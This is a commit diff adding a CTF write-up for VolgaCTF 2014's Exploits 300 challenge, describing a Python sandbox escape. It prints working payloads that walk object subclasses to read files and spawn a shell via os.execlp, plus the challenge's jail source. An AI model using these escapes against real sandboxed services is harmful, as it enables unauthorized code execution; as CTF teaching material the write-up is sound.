Skip to content

Commit 7faeeed

Browse files
author
Andrew Buss
committed
Added exp300 writeup for VolgaCTF 2014
1 parent 138908d commit 7faeeed

File tree

2 files changed

+123
-0
lines changed

2 files changed

+123
-0
lines changed

Diff for: volga2014/index.html

+63
Original file line numberDiff line numberDiff line change
@@ -190,3 +190,66 @@ <h2>Exploits 100</h2>
190190
</code></pre>
191191

192192
<p>The password we extracted by this method was <code>S@nd_will2z0</code>, and providing this as the password returns the flag <code>Time_works_for_you</code>. Perhaps a timing attack was the intended solution?</p>
193+
194+
<h2>Exploits 300</h2>
195+
196+
<p>We're challenged to escape a jail, and a few first submissions return Python-style errors. </p>
197+
198+
<p>Apart from missing builtins, there appear to be no restrictions on input characters, so we don't need any encoding tricks. </p>
199+
200+
<p>In a local interpreter I tried to find a reference to <code>os</code> so I could open a shell. We can start by listing the subclasses of <code>object</code>:</p>
201+
202+
<pre><code>&gt;&gt;&gt; object.__subclasses__()
203+
[&lt;type 'type'&gt;, &lt;type 'weakref'&gt;, &lt;type 'weakcallableproxy'&gt;, &lt;type 'weakproxy'&gt;, &lt;type 'int'&gt;, &lt;type 'basestring'&gt;, &lt;type 'bytearray'&gt;, &lt;type 'list'&gt;, &lt;type 'NoneType'&gt;, &lt;type 'NotImplementedType'&gt;, &lt;type 'traceback'&gt;, &lt;type 'super'&gt;, &lt;type 'xrange'&gt;, &lt;type 'dict'&gt;, &lt;type 'set'&gt;, &lt;type 'slice'&gt;, &lt;type 'staticmethod'&gt;, &lt;type 'complex'&gt;, &lt;type 'float'&gt;, &lt;type 'buffer'&gt;, &lt;type 'long'&gt;, &lt;type 'frozenset'&gt;, &lt;type 'property'&gt;, &lt;type 'memoryview'&gt;, &lt;type 'tuple'&gt;, &lt;type 'enumerate'&gt;, &lt;type 'reversed'&gt;, &lt;type 'code'&gt;, &lt;type 'frame'&gt;, &lt;type 'builtin_function_or_method'&gt;, &lt;type 'instancemethod'&gt;, &lt;type 'function'&gt;, &lt;type 'classobj'&gt;, &lt;type 'dictproxy'&gt;, &lt;type 'generator'&gt;, &lt;type 'getset_descriptor'&gt;, &lt;type 'wrapper_descriptor'&gt;, &lt;type 'instance'&gt;, &lt;type 'ellipsis'&gt;, &lt;type 'member_descriptor'&gt;, &lt;type 'file'&gt;, &lt;type 'PyCapsule'&gt;, &lt;type 'cell'&gt;, &lt;type 'callable-iterator'&gt;, &lt;type 'iterator'&gt;, &lt;type 'sys.long_info'&gt;, &lt;type 'sys.float_info'&gt;, &lt;type 'EncodingMap'&gt;, &lt;type 'fieldnameiterator'&gt;, &lt;type 'formatteriterator'&gt;, &lt;type 'sys.version_info'&gt;, &lt;type 'sys.flags'&gt;, &lt;type 'exceptions.BaseException'&gt;, &lt;type 'module'&gt;, &lt;type 'imp.NullImporter'&gt;, &lt;type 'zipimport.zipimporter'&gt;, &lt;type 'posix.stat_result'&gt;, &lt;type 'posix.statvfs_result'&gt;, &lt;class 'warnings.WarningMessage'&gt;, &lt;class 'warnings.catch_warnings'&gt;, &lt;class '_weakrefset._IterationGuard'&gt;, &lt;class '_weakrefset.WeakSet'&gt;, &lt;class '_abcoll.Hashable'&gt;, &lt;type 'classmethod'&gt;, &lt;class '_abcoll.Iterable'&gt;, &lt;class '_abcoll.Sized'&gt;, &lt;class '_abcoll.Container'&gt;, &lt;class '_abcoll.Callable'&gt;, &lt;class 'site._Printer'&gt;, &lt;class 'site._Helper'&gt;, &lt;type '_sre.SRE_Pattern'&gt;, &lt;type '_sre.SRE_Match'&gt;, &lt;type '_sre.SRE_Scanner'&gt;, &lt;class 'site.Quitter'&gt;, &lt;class 'codecs.IncrementalEncoder'&gt;, &lt;class 'codecs.IncrementalDecoder'&gt;]
204+
</code></pre>
205+
206+
<p>To reach <code>object</code> in the challenge, it was necessary to follow the class hierarchy from any object, like a number or tuple. We can instantiate a file object and read it:</p>
207+
208+
<pre><code>&gt;&gt;&gt; ().__class__.__bases__[0].__subclasses__()[40]
209+
&lt;type 'file'&gt;
210+
&gt;&gt;&gt; ().__class__.__bases__[0].__subclasses__()[40]('filename.txt','r').read()
211+
</code></pre>
212+
213+
<p>Then, we tried reading <code>flag</code>, <code>key</code>, <code>flag.txt</code> and so on, none of which were found. Then, we noticed that we had an absolute path to <code>exploit300.py</code> (<code>/home/john/exploit300.py</code>) in the traceback when EOF is sent. So, we read that absolute path and retrieved the script, included farther below. As suspected, though the builtins are empty, there are no restrictions on input. Now we need to get a shell. <a href="http://eindbazen.net/2013/04/pctf-2013-pyjail-misc-400/">Eindbazen's pCTF pyjail solution</a> used the same trick to get a list of classes, and then indexed into it to traverse to the <code>os</code> module: </p>
214+
215+
<pre><code>().__class__.__bases__[0].__subclasses__()[48].__init__.__globals__['linecache'].os.execlp('sh','')
216+
</code></pre>
217+
218+
<p>However, this was running in a different Python environment, so it wasn't clear what the class at index 48 was supposed to be. I checked a few numbers around it and found that 52, <code>warningmessage</code>, worked.</p>
219+
220+
<pre><code>().__class__.__bases__[0].__subclasses__()[52].__init__.__globals__['linecache'].os.execlp('sh','')
221+
</code></pre>
222+
223+
<p>Now we had a shell, and in the root directory, which is why <code>flag.txt</code> was not found. The flag was located at <code>/home/john/flag.txt</code>. We should have checked that path earlier.</p>
224+
225+
<p>Having solved the problem, we explored the system a bit and found some world-readable VPN configuration files and client keys(!) in <code>/ov/oooooo</code>. We also discovered that flag.txt and exploit300.py were writable by the <code>john</code> user. Though tempting, we didn't modify either. In short, this wasn't much of a sandbox.</p>
226+
227+
<p>When trying to find the pyjail solution we referenced, we came across a writeup for picoCTF's Python Eval 5, and discovered that this problem was identical down to the indentation style, apart from a comment, the prompt text, and the allowed length:</p>
228+
229+
<pre><code>#!/usr/bin/python -u | from sys import modules
230+
# task5.py | modules.clear()
231+
# A real challenge for those python masters out | del modules
232+
|
233+
from sys import modules | _raw_input = raw_input
234+
modules.clear() | _BaseException = BaseException
235+
del modules | _EOFError = EOFError
236+
|
237+
_raw_input = raw_input | # he-he
238+
_BaseException = BaseException | __builtins__.__dict__.clear()
239+
_EOFError = EOFError | __builtins__ = None
240+
|
241+
__builtins__.__dict__.clear() | print '&gt;&gt;&gt; Just escape me...'
242+
__builtins__ = None |
243+
| while 1:
244+
print 'Get a shell, if you can...' | try:
245+
| d = {'x':None}
246+
while 1: | exec 'x='+_raw_input()[:500] in d
247+
try: | print 'ret:', d['x']
248+
d = {'x':None} | except _EOFError, e:
249+
exec 'x='+_raw_input()[:50] in d | raise e
250+
print 'Return Value:', d['x'] | except _BaseException, e:
251+
except _EOFError, e: / print 'Exception:', e
252+
raise e &lt;
253+
except _BaseException, e: &lt;
254+
print 'Exception:', e &lt;
255+
</code></pre>

Diff for: volga2014/writeups.md

+60
Original file line numberDiff line numberDiff line change
@@ -183,3 +183,63 @@ Then, we test the strings `'baaaaaaaaaaa'`, `'caaaaaaaaaaa'`, and so on until we
183183
print a
184184

185185
The password we extracted by this method was `S@nd_will2z0`, and providing this as the password returns the flag `Time_works_for_you`. Perhaps a timing attack was the intended solution?
186+
187+
Exploits 300
188+
------------
189+
190+
We're challenged to escape a jail, and a few first submissions return Python-style errors.
191+
192+
Apart from missing builtins, there appear to be no restrictions on input characters, so we don't need any encoding tricks.
193+
194+
In a local interpreter I tried to find a reference to `os` so I could open a shell. We can start by listing the subclasses of `object`:
195+
196+
>>> object.__subclasses__()
197+
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
198+
199+
To reach `object` in the challenge, it was necessary to follow the class hierarchy from any object, like a number or tuple. We can instantiate a file object and read it:
200+
201+
>>> ().__class__.__bases__[0].__subclasses__()[40]
202+
<type 'file'>
203+
>>> ().__class__.__bases__[0].__subclasses__()[40]('filename.txt','r').read()
204+
205+
Then, we tried reading `flag`, `key`, `flag.txt` and so on, none of which were found. Then, we noticed that we had an absolute path to `exploit300.py` (`/home/john/exploit300.py`) in the traceback when EOF is sent. So, we read that absolute path and retrieved the script, included farther below. As suspected, though the builtins are empty, there are no restrictions on input. Now we need to get a shell. [Eindbazen's pCTF pyjail solution](http://eindbazen.net/2013/04/pctf-2013-pyjail-misc-400/) used the same trick to get a list of classes, and then indexed into it to traverse to the `os` module:
206+
207+
().__class__.__bases__[0].__subclasses__()[48].__init__.__globals__['linecache'].os.execlp('sh','')
208+
209+
However, this was running in a different Python environment, so it wasn't clear what the class at index 48 was supposed to be. I checked a few numbers around it and found that 52, `warningmessage`, worked.
210+
211+
().__class__.__bases__[0].__subclasses__()[52].__init__.__globals__['linecache'].os.execlp('sh','')
212+
213+
Now we had a shell, and in the root directory, which is why `flag.txt` was not found. The flag was located at `/home/john/flag.txt`. We should have checked that path earlier.
214+
215+
Having solved the problem, we explored the system a bit and found some world-readable VPN configuration files and client keys(!) in `/ov/oooooo`. We also discovered that flag.txt and exploit300.py were writable by the `john` user. Though tempting, we didn't modify either. In short, this wasn't much of a sandbox.
216+
217+
When trying to find the pyjail solution we referenced, we came across a writeup for picoCTF's Python Eval 5, and discovered that this problem was identical down to the indentation style, apart from a comment, the prompt text, and the allowed length:
218+
219+
#!/usr/bin/python -u | from sys import modules
220+
# task5.py | modules.clear()
221+
# A real challenge for those python masters out | del modules
222+
|
223+
from sys import modules | _raw_input = raw_input
224+
modules.clear() | _BaseException = BaseException
225+
del modules | _EOFError = EOFError
226+
|
227+
_raw_input = raw_input | # he-he
228+
_BaseException = BaseException | __builtins__.__dict__.clear()
229+
_EOFError = EOFError | __builtins__ = None
230+
|
231+
__builtins__.__dict__.clear() | print '>>> Just escape me...'
232+
__builtins__ = None |
233+
| while 1:
234+
print 'Get a shell, if you can...' | try:
235+
| d = {'x':None}
236+
while 1: | exec 'x='+_raw_input()[:500] in d
237+
try: | print 'ret:', d['x']
238+
d = {'x':None} | except _EOFError, e:
239+
exec 'x='+_raw_input()[:50] in d | raise e
240+
print 'Return Value:', d['x'] | except _BaseException, e:
241+
except _EOFError, e: / print 'Exception:', e
242+
raise e <
243+
except _BaseException, e: <
244+
print 'Exception:', e <
245+

0 commit comments

Comments
 (0)